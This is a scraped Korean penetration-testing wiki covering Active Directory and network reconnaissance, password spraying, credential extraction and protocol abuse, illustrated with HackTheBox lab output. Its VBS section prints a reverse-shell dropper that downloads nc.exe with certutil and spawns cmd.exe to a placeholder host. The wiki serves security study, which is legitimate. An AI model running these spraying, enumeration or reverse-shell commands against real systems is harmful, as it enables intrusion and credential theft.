Only this pageAll pages
Powered by GitBook
Couldn't generate the PDF for 197 pages, generation stopped at 100.
Extend with 50 more pages.
1 of 100

펜테스팅 위키

Welcome

Loading...

정보 수집

OSINT

Loading...

Google Hacking

Github

IP Address

Loading...

내부망

Loading...

Loading...

Loading...

Extension

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Protocol

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

5985/5986 - wsman

초기 침투

CVEs

Loading...

Phishing

Loading...

Loading...

Loading...

Loading...

Web

Quary Language

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

지속성

Active Directory

Loading...

Loading...

Loading...

Loading...

Loading...

Local

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

권한 상승

Active Directory

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

WriteProperty

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

RID Cycling

RID(Relative Identifier)는 Active Directory 환경에서 사용자나 그룹을 구분하는 식별자입니다. Linux에서 일반 사용자 계정의 쉘이 /bin/bash를 갖는다거나, UID 번호가 1000 이상이라는 특징을 갖는 것과 같이 Windows의 SID와 RID 역시 그런 특징을 갖고 있습니다.

예를 들어 관리자 계정의 RID는 500, Guest계정은 501, 이후 추가된 사용자의 경우 1000, 1001 순서로 올라갑니다.이런 특징을 이용하여 SMB에 익명 바인딩 혹은 계정 정보 탈취가 성공했을 경우 다른 사용자의 목록을 RID Cycling 공격을 통해 획득하는 것이 가능합니다. 공격 방식은 단순하게 RID 값을 올려감에 따라서 나오는 사용자를 목록화 하는 것입니다.

# 명령어 양식
impacket-lookupsid anonymous@<IP> -no-pass 10000

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-lookupsid anonymous@10.10.11.231 10000 -no-pass
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Brute forcing SIDs at 10.10.11.231
[*] StringBinding ncacn_np:10.10.11.231[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
498: rebound\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: rebound\Administrator (SidTypeUser)
...
3382: rebound\fflock (SidTypeUser)

impacket-lookupsid에서 기본 maxRid는 4000입니다. 맥스로 설정한 값과 근사한 RID 계정이 출력된다면 RID 값을 올려가는 것이 좋습니다.

# 명령어 양식
nxc smb <IP> -u '' -p '' --rid-brute 10000

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# nxc smb 10.10.11.231 -u Guest -p '' --rid-brute 10000  
SMB         10.10.11.231    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.231    445    DC01             [+] rebound.htb\Guest: 
...
SMB         10.10.11.231    445    DC01             1951: rebound\ppaul (SidTypeUser)

References

Sub Domain

자회사를 뿌리에 두고, 다른 분야의 사업을 하는 계열사들이 있듯이 대표적으로 사용하거나 노출하는 도메인 하위에는 다양한 서브 도메인들이 있습니다. 예를 들어 http://example.com 을 관리하는 회사에서, 메일과 관련된 서비스를 처리하기 위해서는 http://mail.example.com 등으로 메인 도메인 하위에 존재하는 확장 주소입니다.

서브 도메인을 수집하는 방법에는 여러가지가 있지만 이것에 대해서 논하기 이전에 현실적인 부분을 다루겠습니다. 대부분의 기업들은 서로 말하지 않아도 규칙이 비슷한 양상이 있습니다. 예를 들어 http://example.com 의 개발 서버는 http://dev.example.com 등으로 사용하는 것처럼 말이죠. 모의침투를 진행하면 메인 도메인 서비스에서는 발견되지 않는 초기 침투 발판이 서브 도메인에서 직접적으로 RCE가 가능하다거나, 수집한 크리덴셜 등의 정보로 초기 침투의 발판이 되기도 합니다. 그럼에도 불구하고 기업은 브랜드 통일성과 인지도 등의 이유로 메인 도메인 하위에 확장 주소를 사용합니다. 또한 도메인은 한정적인 자원이기 때문에 도메인을 등록할 때마다 비용이 발생하는 반면, 서브 도메인은 추가 비용 없이 원하는 만큼 만들 수 있으며 DNS 관리도 일괄적으로 용이하다는 이유도 있습니다.

외부망

서브 도메인 탐색에 대한 방법론은 여러가지가 있지만, 본 위키에서는 자동/수동적인 방법으로 나눈 후, 자동화된 방법의 방식 중 브루트포스와 정보 수집 방식으로 나누어 기술하겠습니다.

자동화된 정보 수집

자동화된 정보 수집은 오픈 소스로 공개되어 있는 도구를 사용하며, 주로 3가지 방식으로 정보를 수집합니다.

  1. 자주 사용되는 서브 도메인 주소를 목록화하여 메인 도메인 하위에 붙인 뒤 요청하는 브루트 포스 방식

  2. 메인 도메인에 접속하여 자바스크립트나 API 호출 등을 통해서 확인하는 패킷 분석 방식

  3. 구글, Bing 등의 검색 엔진을 통해 외부에 노출된 서브 도메인을 탐색

브루트포스
정보 수집

장점

  • 존재하지 않는 서브 도메인에 대한 요청을 보낼 경우 트래픽이 발생하지 않아 부하가 적음

  • 공개된 정보가 없더라도 사전 파일을 통핸 서브 도메인 발견이 가능

  • 유추가 힘든 도메인도 발견이 용이

  • 대용량 사전파일을 사용하는 브루트포스 방식에 비해 시간이 짧은 편

단점

  • 사전 파일의 크기에 의존하기 때문에 정보 수집 확률을 높일 수록 시간이 오래 걸림

  • 사전 파일에 존재하지 않는 서브 도메인은 찾을 수가 없음

  • 공개하고 있는 정보가 없다면 서브 도메인을 수집하기 어려움

dnsrecon

# apt 설치
apt install dnsrecon
dnsrecon -t brt -D /usr/share/wordlists/subdomains-10000.txt -d example.com

knockpy

# knockpy 설치
git clone https://github.com/guelfoweb/knock.git
cd knock
pip install . --break-system-packages

python3 knockpy.py -d example.com --recon --bruteforce

dnsenum

dnsenum --dnsserver 10.0.2.10 -enum -p 0 -s 0 -o subdomains.txt -f subdomainList.txt --threads 90 example.com

dnscan

# dnscan 설치
git clone https://github.com/rbsec/dnscan.git
cd dnscan

# 사용
dnscan.py -d example.com -w subdomains-10000.txt

sublist3r

sublist3r -d example.com

subfinder

# subfinder 설치
wget https://github.com/projectdiscovery/subfinder/releases/download/v2.4.8/subfinder_2.4.8_linux_amd64.tar.gz
tar -zxvf subfinder_2.4.8_linux_amd64.tar.gz
mv subfinder /usr/bin/subfinder

subfinder -d example.com

수동적 정보 수집

수동적으로 수집하는 정보는 OSINT를 목적으로 두는 사이트를 이용하여 탐색하는 방법입니다. 필자가 주로사용하는 사이트는 다음과 같습니다.

다음으로 DNS 서버에 질의를 통해 정보를 수집하는 도구입니다.

dig

dig는 DNS 서버의 잘못된 설정을 이용하여 정보 수집할 수 있는 도구입니다. DNS 구조는 아래와 같이 트리 구조로 되어있어 상위 도메인은 하위 도메인들에 대한 정보를 알 수 있습니다.

dig axfr 요청은 메인 도메인에 대해서 질의하여 어떤 하위 도메인이 있는지 확인하는 정상적인 정보 요청입니다. 하위 도메인에 대한 정보를 누구에게나 주면 안 되기 때문에 DNS 서버는 이러한 요청을 한 클라이언트의 신원을 파악하여 응답해주지만, 잘못된 설정이 되어있어 인증 과정이 취약하다면 공격자는 DNS 서버에 대한 요청을 통해 해당 메인 도메인 하위에 있는 모든 서브 도메인을 획득할 수 있습니다. DNS 서버 간의 정보 동기화 및 공유를 위해 사용하기 때문에 MS-DRSR과 비슷하며, 이를 악용하는 방식 또한 DCSync와 매우 유사합니다.

dig axfr example.com @10.0.2.10

dig 명령을 사용할 때 도메인과 네임 서버를 입력해야 하는데, 내부망이라면 NS는 곧 DC가 될 것입니다. 하지만 외부망일 경우 NS를 질의한 뒤, NS의 IPv4 주소를 획득하고, 해당 값들을 플래그로 입력하여 최종적으로 dig를 통해 any, soa, axfr 등의 요청을 전송할 수 있습니다.

# 해당 도메인의 네임 서버 수집
dig example.com ns +short
Result > ns1.example.com

# 수집한 네임 서버의 IPv4 주소 수집
nslookup ns1.example.com
Result > 10.0.2.10

# dig를 통한 정보 수집
dig any/soa/axfr @10.0.2.10 example.com

crt.sh

인증서 투명성은 암호화된 인터넷 연결을 위한 디지털 인증서의 발급을 검증할 수 있도록 하기 위한 절차입니다. RFC 6962는 인증서 발급 기관이 발급한 모든 디지털 인증서에 대해서 감사를 위조할 수 없는 로그에 기록하도록 규정하고 있습니다. 이는 도메인에 대해 허위로 발급된 인증서를 탐지할 수 있도록 하는 장치이며 SSL 인증서 제공 업체는 이 정보를 crt.sh 사이트에 공유하고 새로 추가된 항목을 업데이트하여 접근할 수 있도록 관리합니다.

해당 사이트에서 인증서 투명성을 통해 확인하려는 서브 도메인을 GUI로 확인해도 되지만, 필요한 항목만 빠르게 스캔하여 목록화 하기 위해서 CLI 환경에서 다음과 같이 입력합니다.

curl -s "https://crt.sh/?q=example.com&output=json" | jq . | grep common_name | tr -d '"' | awk -F ':' '{ptinr $2}' | tr -d ',' | sort | uniq

내부망

내부망 도메인은 외부망과 달리 검색 등에 의한 결과를 기대하기가 어렵습니다. 내부 자산에 대한 정보가 공공연하게 노출되었거나, 다크웹 등에 떠도는 정보가 있다면 수확이 있겠지만 일반적으로 AD, 내부망 웹 서버 등에서 사용하는 도메인의 경우는 내부에만 노출되기 때문에 외부자 관점에서 정보를 수집할 수 없습니다. 따라서 DNS 프로토콜의 잘못된 설정 등을 이용하여 수집하거나 AD 환경이라면 블러드하운드를 사용하며 내부 웹서버 도메인이 존재한다면 브루트포스 공격을 통해 서브 도메인을 획득할 수 있습니다.

ffuf

# 웹 서버 도메인에 대한 정상 요청 Content-Length 확인
curl -s -I http://10.0.2.10 -H "Host: example.com" | grep "Content-Length:"

# 확인된 응답 헤더를 제외한 모든 서브 도메인 출력
ffuf -w subdomain.txt:FUZZ -u http://10.0.2.10/ -H "Host:FUZZ.example.com" -fs <Content-Length>

References

Home

Introduce

Pentesting Wiki는 정보보안과 오펜시브 분야에서 실무적 경험과 학습을 통해 얻은

지식을 바탕으로 구성된 위키입니다.

해당 페이지는 정답을 제시하는 것이 아닌, 학습과 프로젝트 과정에서 얻은 노하우를

한국어로 이해하기 쉽게 정리하는데 목적을 두고 있습니다.

따라서 모든 내용이 완벽하거나 최신 정보를 반영한다고 보장할 수 없으며

정보의 활용에 따른 결과는 각 사용자의 판단과 책임에 달려있음을 안내드립니다.

또한, 본 위키에 수록된 정보는 오로지 개인의 비영리적 학습과 연구 목적으로 제공되며,

불법적/상업적 목적으로 사용하는 것을 금지합니다.

위키를 통해 습득한 기술이나 정보를 악용하여 발생하는 위법 행위에 대해서는

본 위키의 작성자나 기여자들이 일체의 책임을 지지 않습니다.

Contact

본 위키 내용에서의 오타나 잘못된 정보를 발견하거나,

기타 문의 및 건의 사항이 있을 경우 pentesting_wiki@protonmail.com으로 연락 주시기 바랍니다.

HackTheBox Rebound [RID cycling + AS-REP-Roasting with Kerberoasting + Weak ACLs + ShadowCredentials attack + cross-session relay + Runascs and KrbRelay read gMSA password + Resource-Based Constrained Delegation (RBCD) + S4U2Self & S4U2Proxy]0xfd's blog
Subdomain Finder - C99.nl
Logo
https://dnsdumpster.com/dnsdumpster.com

vhd

VHD 확장 파일은 Virtual Hard Disk 파일로 컴퓨터 하드디스크의 전체 내용을 저장하기 위한 디스크 이미지 파일 형식입니다. 실제 하드 디스크와 거의 유사한 역할을 하지만 차이점으로는 VHD 파일은 가상 머신에서 사용되도록 설계되었습니다. 대상 호스트에서 이러한 확장 파일 발견 시 디스크를 통해 백업된 정보들을 토대로 정보수집을 할 수 있습니다.

# 명령어 양식
guestmount --add <VHD> --inspector --ro /mnt

References

crt.sh | Certificate Search
Logo
Subdomain EnumerationMedium
[해킹 도구를 소개합니다 #2] Subfinder: 하위도메인 열거 도구 | 버그바운티클럽
DNS(Domain Name System) | 토스페이먼츠 개발자센터
DNS 취약점 체크하기: DNS Zone Transfer프로그래밍, 해킹, 그리고 이맥스
Logo

pfx

PFX는 PKCS#12 파일을 저장하는 확장 형태입니다. PKCS#12는 Public Key Cryptography Standards #12로 Microsoft에서 만든 암호화 알고리즘입니다. 기존의 PFX 파일의 후속 버전인 PKCS#12 파일의 확장자는 p12, pfx로 사용됩니다. 파일 안에 인증서, 공개키, 개인키가 모두 담겨있어 암호학적 관점에서는 인증하는 자를 도용하는 공격이 불가능에 가깝기 때문에 안전하지만, 반대로 말하면 이 파일을 안전하게 보관하지 않을 시에 거의 모든 권한을 넘겨준다고 볼 수 있습니다. Windows Active Directory 환경에서 사용자의 pfx 파일이 유출되면 해당 사용자의 pfx 파일로부터 ST 발급 요청 및 NT Hash 덤핑이 가능합니다.

# 개인키 추출
openssl pkcs12 -in <PFX> -nocerts -nodes -out private.key

# 인증서 추출
openssl pkcs12 -in <PFX> -clcerts -nokeys -out certificate.crt

# 모든 데이터 추출
openssl pkcs12 -in <PFX> -nodes

References

What is virtual hard disk (VHD)?Search Virtual Desktop
https://docs.tosspayments.com/resources/glossary/dns

Password Must Change

Password Must Change는 도메인 계정을 생성할 때 User must change password at next logon 설정을 하거나, 기존에 있던 사용자의 패스워드를 초기화 할 경우 바로 다음 로그인 시 반드시 패스워드를 입력해서 초기화 해야 하는 설정입니다.

주로 기업에서 보안 감사로 인해 정책에 맞지 않는 패스워드를 사용하거나, 변경을 오랜기간 하지 않은 유저에 대하여 강제적으로 패스워드 초기화를 진행했을 때 정찰 단계에서 유용하게 사용할 수 있는 방법론 중 하나입니다. 설정 이후 최초 로그인을 하지 않아 패스워드 초기 설정이 필요한 계정의 경우 패스워드를 null 값으로 로그인 했을 때도 로그인이 성공하기 때문에 SMB 프로토콜을 이용해서 원격에서 초기 패스워드 설정이 가능합니다.

Abuse

# 도메인 내 Password must change 유저 목록 확인
nxc smb <Domain> -u <USER> -p ''

# 패스워드 초기 설정
impacket-smbpasswd <Domain/USER@DC FQDN> -newpass <New PASS>

xlsx/ods

xlsx 확장자는 Microsoft Excel에서 사용하는 스프레드 시트 파일 형식입니다. 이 확장자는 기본적으로 xml 파일들이 압축된 형식이기 때문에 압축 해제 또한 가능합니다. 스프레트 시트에서 프로텍트가 걸려있는 셀의 경우 패스워드가 필요하게 되는데, 확장자가 ods, xlsx일 경우 xml 데이터의 프로텍션 태그를 삭제하여 기존 사용자가 보호조치 한 것을 우회할 수 있습니다.

A와 C 사이 B 셀이 숨김 처리가 되어있는데 패스워드로 잠겨있어 열 수 없는 상태입니다. 획득한 파일은 Creds.ods로 확장자가 xlsx형식이 아닙니다.

┌──(root㉿kali)-[~/PentestingWiki]
└─# file Creds.ods    
Creds.ods: OpenDocument Spreadsheet

ods 확장자는 OpenDocument Spreadsheet 확장자로 Microsoft Excel에서 파일을 저장할 때 기본으로 저장되는 형식이며 이 확장자는 xlsx와 동일하게 Microsoft에서 공식으로 지정한 기본 확장자이기 때문에 xlsx 확장자로 변환이 가능합니다.

┌──(root㉿kali)-[~/PentestingWiki]
└─# libreoffice --headless --convert-to xlsx Creds.ods   
convert /root/PentestingWiki/Creds.ods as a Calc document -> /root/PentestingWiki/Creds.xlsx using filter : Calc Office Open XML
                                                                                                                                                                                 
┌──(root㉿kali)-[~/PentestingWiki]
└─# ls                                                
Creds.ods  Creds.xlsx

libreoffice를 이용하여 ods 확장자 파일을 xlsx 확장자로 변경했습니다. 압축 해제를 위해 디렉토리를 생성하여 그 안에 xlsx 파일을 압축 해제하고 보호가 걸려있는 시트 파일을 선택하여 sheetProtection 태그만 삭제합니다.

<sheetProtection sheet="true" objects="true" scenarios="true" insertColumns="false" insertRows="false" deleteColumns="false" deleteRows="false"/>
<printOptions headings="false" gridLines="false" gridLinesSet="true" horizontalCentered="false" verticalCentered="false"/>
<pageMargins left="0.7875" right="0.7875" top="1.025" bottom="1.025" header="0.7875" footer="0.7875"/

삭제한 후 다시 모든 파일을 Creds.xlsx로 압축 후 libreoffice를 통해 열어서 확인합니다.

┌──(root㉿kali)-[~/PentestingWiki/unprotect]
└─# zip -r Creds.xlsx *
  adding: xl/ (stored 0%)
  adding: xl/_rels/ (stored 0%)
  adding: xl/_rels/workbook.xml.rels (deflated 67%)
  adding: xl/worksheets/ (stored 0%)
  adding: xl/worksheets/sheet1.xml (deflated 60%)
  adding: xl/sharedStrings.xml (deflated 44%)
  adding: xl/theme/ (stored 0%)
  adding: xl/theme/theme1.xml (deflated 76%)
  adding: xl/styles.xml (deflated 86%)
  adding: xl/workbook.xml (deflated 43%)
  adding: [Content_Types].xml (deflated 76%)
  adding: _rels/ (stored 0%)
  adding: _rels/.rels (deflated 61%)
  adding: docProps/ (stored 0%)
  adding: docProps/app.xml (deflated 39%)
  adding: docProps/core.xml (deflated 51%)
  adding: Creds.xlsx (deflated 14%)

pst

PST(Personal Storage Table) 파일은 Microsoft에서 사용하는 확장자입니다. Outlook 데이터 파일로 전자 메일 계정을 추가하면 계정에 대한 정보의 로컬 복사본이 컴퓨터에 저장됩니다. 이것을 통해서 인터넷 연결 없이도 이전에 다운로드 하거나 동기화 한 메일, 일정, 연락처 및 작업 등에 엑세스 할 수 있습니다. 이 파일은 커맨드라인에서 readpst 도구를 사용해서 변환이 가능합니다.

# 명령어 양식
readpst <File>

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# readpst wiki.pst      
Opening PST file and indexes...
Processing Folder "Deleted Items"
        "wiki" - 2 items done, 0 items skipped.
                                                                                                                                                                                 
┌──(root㉿kali)-[~/Pentest/Machine]
└─# ls
wiki.mbox   wiki.pst

mbox 파일은 HTML 문서로 일반 파일 읽기 명령어를 통해 내용을 읽을 수 있습니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# file wiki.mbox                        
wiki.mbox: HTML document, Unicode text, UTF-8 text, with very long lines (516)

References

Password Spraying

패스워드 스프레잉 공격은 스프레이를 분사하듯 여러 계정에 단일 패스워드를 공통적으로 사용하여 접속 시도하는 공격입니다. 오프라인 브루트포스가 아닌 계정 로그인에 대하여 브루트포스 공격을 하는 것은 현실에서는 상당히 비현실적이며 서버의 가용성을 침해할 수 있는 공격입니다. 물론 패스워드 스프레잉 공격 역시 갑작스럽게 여러 개정에서 로그인 실패 시도가 되면 탐지될 수는 있지만 이것으로 인해 계정이 잠길 위험은 브루트포스 공격에 비해 많이 낮습니다.

주로 침투테스트 상황에서는 기본 패스워드를 발견하거나 혹은 크리덴셜 파일로부터 현재는 유효하지 않은 사용자/사용자들의 패스워드 발견 시 사용합니다. 모든 계정에 대해 동일한 패스워드를 사용 시 Hydra를 통해 대부분의 프로토콜에 공격이 가능합니다. 대부분의 프로토콜은 hydra에서 사용이 가능하지만 mssql과 같이 일부 프로토콜은 거짓 음성 결과가 고정되어 나타나곤 합니다. 이럴 경우 nxc를 사용해줍니다.

# hydra를 이용한 스프레이 공격
hydra -L <users.txt> -p <PASS> -V -f <Protocol>://<IP>

# nxc를 이용한 스프레이 공격
nxc <Protocol> <IP> -u <users.txt> -p <PASS> --continue-on-success

# 사용자 별 매핑 패스워드가 있을 때의 스프레이 공격
nxc <Protocol> <IP> -u <users.txt> -p <PASS> --continue-on-success --no-bruteforce

21 - FTP

Anonymous Login

FTP 프로토콜에서 가장 먼저 확인해봐야 하는 것은 익명 로그인이 가능한지 여부입니다. nmap의 기본 스크립트 지정 플래그 -sC를 사용하여 확인할 수 있습니다.

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)

대상 호스트는 Anonymous login이 허용되어 있으므로 사용자의 아이디를 anonymous로 지정했을 때 바인딩이 성공됩니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# ftp 10.0.2.10                            
Connected to 10.10.10.98.
220 Microsoft FTP Service
Name (10.10.10.98:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
425 Cannot open data connection.
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-24  08:16PM       <DIR>          Pentesting
08-24-24  09:00PM       <DIR>          Wiki
226 Transfer complete.

File Upload/Download

FTP에서도 파일 권한과 마찬가지로 Read/Write 권한이 존재합니다. 읽기 권한이 존재하면 파일 다운로드가, 쓰기 권한이 존재하면 파일 업로드가 가능합니다. 서버의 FTP에 있는 파일이나 디렉토리를 가져올 땐 get 명령을 통해서 가져오는 것도 가능하지만 종종 이러한 방식은 파일의 손상을 일으키거나 온전하게 가져오지 못합니다. 이럴 경우 FTP에 존재하는 하위 파일을 모두 가져오는 wget 명령을 사용합니다.

# 명령어 양식
wget -m --no-passive ftp://<USER>:<PASS>@<IP>

# 실습
┌──(root㉿kali)-[~/Pentest/Machine]
└─# wget -m ftp://anonymous:anonymous@10.0.2.10 --no-passive                    
--2024-11-14 07:12:17--  ftp://anonymous:*password*@10.0.2.10/
           => ‘10.0.2.10/.listing’
Connecting to 10.0.2.10:21... connected.                                              
Logging in as anonymous ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.                                                                                                                                        
==> PORT ... done.    ==> LIST ... done.

Web Directory

연결된 FTP 디렉토리에서 웹 서버 파일로 의심되는 것이 발견된다면 FTP 마운트 경로가 웹 디렉토리 일부라는 것을 생각해볼 수 있습니다. 만약 웹 디렉토리 상에 마운트 된 상태라면 웹 쉘/리버스 쉘을 업로드하여 브라우저 접속을 통해 해당 파일을 실행시킬 수 있습니다.

53 - DNS

DNS 서버가 열려있다면 다른 도메인은 존재하는지, Zone 전송은 되는지 여부 등을 파악하여 추가 정보수집을 시도합니다.

# Zone 전송을 통한 DNS 데이터베이스 획득
dig axfr @<IP> <Domain>

# 서브도메인 스캔 자동화 툴
dnsenum --dnsserver <IP> -f <subdomain.txt> <Domain>

Employees

모의해킹에서는 취약점을 찾으면 해당 취약점을 통한 후속 공격으로 이어가는 경우는 거의 없기 때문에 OSINT를 통한 임직원 정보 수집에 대한 중요성이 부각되지는 않습니다. 반면 레드티밍에서는 외부망 해킹 때 발견되었던 로그인 페이지(로그인은 되지 않았더라도) 등의 정보들을 내부망에서 수집한 정보들과 연계하여 후속 공격을 이어가는 경우가 많기 때문에 임직원 정보는 중요합니다. 특히나 Active Directory와 같이 임직원들의 계정을 도메인 컨트롤러로 관리하는 경우, 대부분의 도메인 계정은 직원의 이름으로 사용되거나 사번/휴대폰 번호 뒷자리/출생년도와 같이 사용됩니다. 때문에 임직원의 실제 이름을 여러개 파악할 수록 다양한 공격에 활용이 가능하며 성공률이 높아집니다.

임직원 이름을 알아내는 방법은 대표적으로 이미 사전에 수집된 정보들을 바탕으로 확인하는 방법과 SNS(링크드인, 티스토리 등)에 노출된 정보들을 수집하는 방법 2가지로 구분할 수 있습니다.

Email

서브 도메인을 찾을 때 기존에 수집되었던 정보들을 바탕으로 검색하는 사이트들이 있듯이 여러 기업에 존재하는 임직원 이메일 혹은 전화번호 등을 수집하는 사이트들 또한 존재합니다.

hunter의 경우 이메일 정보가 무료 회원도 열람이 되는 대신, 무료로 열람 가능한 임직원 수 자체가 제한되어 단순히 이메일이 아닌 전체 임직원에 대한 이름을 수집하고자 할 때는 유용한 도구는 아닙니다.

반면 Clodura의 경우 전체 사용자에 대한 제한적 정보 조회는 가능한 대신 이메일 조회는 유료 회원만 가능합니다. 때문에 내가 수집하고자 하는 정보가 임직원의 이메일 패턴이라면 hunter.io를 통해 수집을 하며,

획득한 사내 메일 패턴을 통해 직접 메일 목록을 만들 때는 Clodura에서 이름을 수집하여 사용할 수 있습니다.

Github

구글 도킹을 통해 깃허브에 존재하는 회사 프로젝트를 검색한 뒤, 기여자 목록에서 임직원을 찾을 수 있습니다.

Password Spraying

수집한 임직원의 이메일을 통해 해당 이메일이 유효한지에 대한 블라인드 테스트와, 스프레이 공격이 가능합니다. Office 365인 OutLook을 통해 진행하는 유저 정보 열거 공격 도구로는 MailSniper를 사용합니다.

# MailSniper 설치
wget https://raw.githubusercontent.com/dafthack/MailSniper/refs/heads/master/MailSniper.ps1 -Outfile MailSniper.ps1

# MailSniper 스크립트 실행 후 모듈 로드
impo .\MailSniper.ps1

# 유저 이메일 목록 열거
Invoke-UsernameHarvestOWA -ExchHostname mail.wiki.com -Domain wiki.com -UserList emailList.txt -Outfile validEmailList.txt

# 유효한 유저 목록 반환 후, 해당 유저에 대해 Password123! 패스워드 스프레이 공격
Invoke-PasswordSprayOWA -ExchHostname mail.wiki.com -UserList validEmailList.txt -Password Password123!

해당 공격은 이메일에 대한 보안 정책과 수준에 따라 결과가 다르게 나타나므로 무조건적인 신뢰는 나쁘며

스프레이 공격 또한 2FA, CAPCHA 등의 추가 절차가 있다면 실패한다는 것을 명심해야 합니다.

25 - SMTP

SMTP는 Simple Mail Transper Protocol로 간단하게 메일을 전송할 수 있는 프로토콜로 이메일 클라이언트 <-> 이메일 서버 간의 통신도 가능하지만, 서버 간의 통신도 가능합니다. SMTP는 종종 이메일을 가져오고 전송할 수 있는 IMAP / POP3 프로토콜과 함께 사용됩니다. 본 페이지에서 SMTP에 대해서 설명할 때 25번 포트를 사용한다고 설명했지만, 언제나 그렇듯 모든 프로토콜이 실제 환경에서 고정적으로 사용되지는 않으며 최신 버전은 587 포트를 사용하기도 합니다.

내부망 진입 후 계정 정보가 없는 상태에서 SMTP 프로토콜이 활성화된 호스트를 발견 시 SMTP에서 제공하는 기능을 이용하여 유저 정보 열거 공격이 가능합니다. 하지만 실제 존재하는 유저 목록에 대해서 덤핑하는 것이 아닌, 유저 목록을 대입하여서버의 응답을 통해 열거하는 공격이기 때문에, 기본적으로 유저 목록에 존재하지 않는 계정 이름이라면 공격의 성공률이 낮습니다.

# msfconsole 실행
msfconsole
use auxiliary/scanner/smtp/smtp_enum
...
run

msf를 통해서 진행하는 방식은 자동화를 이용해 편리하지만 시간이 오래 걸린다는 단점이 있습니다. 유저 리스트가 많지 않은 상태에서 간단하게 테스트를 하기 위해서 Telnet 프로토콜을 이용할 수 있습니다.

# Telnet을 통한 SMTP 연결
telnet 10.0.2.10 25
VRFY root
Result > 존재하는 유저라면 252 반환
Result > 존재하지 않는 유저라면 550 반환

22 - SSH

SSH는 Secure Shell로 원격에서 쉘을 사용할 수 있는 프로토콜입니다. 사내 내부망에서는 대부분 SSH를 설치하여 사용하고 있으나 실무에서는 기본으로 제공되는 Well-known 포트인 22번이 아닌 높은 포트를 사용하여 공격자로부터 탐지를 회피합니다. 주로 SSH를 이용한 초기침투 목적보다는, 지속성과 측면이동을 위해 사용합니다. SSH는 로컬/리모트 포트포워딩이 기본으로 제공되기 때문에 장악한 계정을 통해 내부망의 다른 PC로 측면이동이 가능하지만 지속성을 위해서 포트포워딩을 하는 대상은 주로 SSH 서버를 통해서 진행합니다. 또한 SSH 버전이 7.7 미만의 경우 CVE-2018-15473를 이용한 유저 이름 추측이 가능합니다.

# Local Port Fowarding
ssh -L <Local Port>:<Target IP>:<Target Port> <USER>@<IP>

# Remote Port Forwarding
ssh -R <Remote Port>:<Target IP>:<Target Port> <USER>@<IP>

vbs

Visual Basic Script 확장자는 Windows 프로그램을 쉽게 만들기 위한 언어로 Microsoft에서 만든 프로그래밍 언어입니다. 이 언어로 만든 파일은 vbs 혹은 vb 확장자를 가집니다. PowerShell이 등장하기 이전에 브라우저 내에서 특정 로직을 처리할 수 있어 자동화된 관리 등에 널리 사용되었지만, 오늘 날에는 거의 사용되는 파일은 아닙니다.

# VBS를 실행 시 리버스 쉘을 연결하도록 하는 악성 코드
Set oShell = CreateObject("Wscript.Shell")
oShell.run "cmd.exe /c mkdir C:\Windows\Temp"
oShell.run "cmd.exe /c certutil -urlcache -f http://<IP>/nc.exe C:\Windows\Temp\nc.exe"
oShell.run "cmd.exe /c C:\Temp\nc.exe <IP> -e cmd.exe"

VBS 파일은 HTML과 함께 사용되어 웹 페이지의 동작을 제어할 수 있다는 점이 있어 파일을 더블 클릭하는 것만으로도 악성 코드 배포가 가능하여 악용이 많이 되었습니다.

References

hc

HC 확장자 파일은 VeraCrypt로 암호화된 가상화 이미지 파일입니다. 일반적인 디스크 이미지 파일인 vhd와의 차이점은 암호화되어 저장되기 때문에 암호가 없다면 복구가 불가능한 안전한 디스크 백업 방식입니다. 정보수집 단계에서 hc 확장 파일을 획득한다면, 오프라인 브루트포스를 통해서 해쉬 크래킹을 한다음 로컬 디스크에 마운트 함에 따라 백업된 정보를 정찰할 수 있습니다.

Abuse

hc 확장 파일에서 사용하는 해쉬 알고리즘은 기본적으로 SHA-521입니다.

┌──(root㉿kali)-[~/Pentest/Machine/share]                                                                                                                                        
└─# hashcat --help | grep -i veracrypt  | grep -i sha512                                                                                                                         
  13721 | VeraCrypt SHA512 + XTS 512 bit (legacy)                    | Full-Disk Encryption (FDE)                                                                                
  13722 | VeraCrypt SHA512 + XTS 1024 bit (legacy)                   | Full-Disk Encryption (FDE)                                                                                
  13723 | VeraCrypt SHA512 + XTS 1536 bit (legacy)                   | Full-Disk Encryption (FDE)                                                                                
  29421 | VeraCrypt SHA512 + XTS 512 bit                             | Full-Disk Encryption (FDE)                                                                                
  29422 | VeraCrypt SHA512 + XTS 1024 bit                            | Full-Disk Encryption (FDE)                                                                                
  29423 | VeraCrypt SHA512 + XTS 1536 bit                            | Full-Disk Encryption (FDE)

References

80/443 - HTTP

타겟의 웹 서버를 발견했다면 주로 체크해봐야 하는 것들은 다음과 같습니다.

  • 웹디렉토리 스캔

  • 서브 도메인 스캔

  • 페이지 소스 크리덴셜 정보 수집

  • 웹 취약점

Web Directory

웹 페이지에서 공개적으로 제공하는 파일, 경로 외에도 통상적으로 자주 사용되는 사전 파일을 통해서 경로가 존재하는지를 체크할 수 있습니다.

Sub Domain

Page Source

